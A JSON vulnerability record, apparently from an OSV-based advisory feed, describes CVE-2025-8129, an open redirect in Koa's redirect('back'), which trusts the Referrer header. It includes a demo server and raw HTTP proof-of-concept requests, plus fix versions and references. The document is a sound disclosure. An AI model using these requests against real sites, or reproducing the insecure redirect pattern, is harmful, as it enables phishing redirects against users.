{"id":"CVE-2025-8129","aliases":["GHSA-jgmv-j7ww-jx2x"],"url":"https://o3.security/vulnerability/CVE-2025-8129","summary":"KoaJS Koa HTTP Header response.js back redirect","details":"## Summary\nIn the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.\n\n## Details\non the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:\n\n**response.redirect(url, [alt])**\n```\nPerforms a [302] redirect to url.\nThe string \"back\" is specially provided for Referrer support, using alt or \"/\" when Referrer does not exist.\n\nctx.redirect('back');\nctx.redirect('back', '/index.html');\nctx.redirect('/login');\nctx.redirect('http://google.com');\n\n```\nhowever, the \"back\" method is insecure:\n\n- https://github.com/koajs/koa/blob/master/lib/response.js#L322\n```\n  back (alt) {\n    const url = this.ctx.get('Referrer') || alt || '/'\n    this.redirect(url)\n  },\n```\nReferrer Header is User-Controlled.\n\n\n## PoC\n\n**there is a demo for POC:**\n```\nconst Koa = require('koa')\nconst serve = require('koa-static')\nconst Router = require('@koa/router')\nconst path = require('path')\n\nconst app = new Koa()\nconst router = new Router()\n\n// Serve static files from the public directory\napp.use(serve(path.join(__dirname, 'public')))\n\n// Define routes\nrouter.get('/test', ctx => {\n  ctx.redirect('back', '/index1.html')\n})\n\nrouter.get('/test2', ctx => {\n  ctx.redirect('back')\n})\n\nrouter.get('/', ctx => {\n  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'\n})\n\napp.use(router.routes())\napp.use(router.allowedMethods())\n\nconst port = 3000\napp.listen(port, () => {\n  console.log(`Server running at http://localhost:${port}`)\n}) \n```\n**Proof Of Concept**\n```\nGET /test HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n\n\nGET /test2 HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n```\n![image](https://github.com/user-attachments/assets/03d1e61b-df97-4b42-a0c4-437bd17144db)\n\n![image](https://github.com/user-attachments/assets/f4e076e0-3853-4b7a-b4c0-bddf5b67631a)\n\n\n## Impact\nhttps://learn.snyk.io/lesson/open-redirect/","published":"2025-07-25T04:02:05.418Z","modified":"2026-08-12T03:51:49.460376707Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"koa","fixedVersion":"2.16.2"},{"ecosystem":"npm","name":"koa","fixedVersion":"3.0.1"}],"fix":{"url":"https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0","label":"koajs/koa@422c551"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/8xxx/CVE-2025-8129.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-8129"},{"type":"ADVISORY","url":"https://vuldb.com/?id.317514"},{"type":"ADVISORY","url":"https://vuldb.com/?submit.619741"},{"type":"REPORT","url":"https://github.com/koajs/koa/issues/1892"},{"type":"REPORT","url":"https://github.com/koajs/koa/issues/1892#issue-3213028583"},{"type":"REPORT","url":"https://vuldb.com/?ctiid.317514"},{"type":"WEB","url":"https://github.com/koajs/koa/security/advisories/GHSA-jgmv-j7ww-jx2x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54420"},{"type":"WEB","url":"https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0"},{"type":"PACKAGE","url":"https://github.com/koajs/koa"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:49.460376707Z"}}